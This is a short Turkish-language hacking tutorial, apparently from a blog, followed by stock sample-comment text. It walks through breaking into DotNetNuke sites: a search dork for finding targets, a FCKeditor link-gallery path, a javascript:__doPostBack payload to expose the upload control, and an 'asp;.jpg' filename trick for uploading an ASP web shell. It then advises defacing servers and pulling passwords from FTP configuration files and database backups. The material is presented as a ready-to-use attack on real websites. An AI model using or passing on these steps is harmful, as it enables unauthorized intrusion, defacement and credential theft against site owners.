Dotnuke Asp FSO (File Sistem Obje) upload
dork: “portals/0/”
sitelerin sonuna aşağdaki bölümü ekliyoruz.
/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
File ( A File On Your Site )
işaretliyoruz
adres cubuğuna jsp kodunu yapıştırıp enterliyoruz
javascript:__doPostBack(‘ctlURL$cmdUpload’,”)
Gözat ekrana geldi
gözattan aşağıdaki linkte verdiğim zehir.asp veya diğer fso scriptlerden birininin uzantısını
asp;.jpg şeklinde değiştirup upload ediyoruz.
Büyük çoğunluğunda çalışıyor. şu çalışmadı bu çalışmadı diye yazmayın. çalışmıyorsa serverde kurulu antivirüsler scripti yutmuştur, veya sadece kodlar görünür asp çalışmayabilir.
serverde permission yoksa tümünü deface etmek mümkündür. permission varsa permissionları
aşmak oldukça güçtür. C:\program files te ws_ftp ini servu.ini gibi dosyalarda şifreler olabilir
plesk se herhangi bir önlem alınmadıysa mysql backup tan nadirde olsa bir takım veriler alınabilir
uzakdoğu bilhassa çin siteleri için nhd.asp yi kullanın diğerleri çalışmazsa nhd.asp çalışır.
Hi, this is a comment.
To delete a comment, just log in, and view the posts’ comments, there you will have the option to edit or delete them.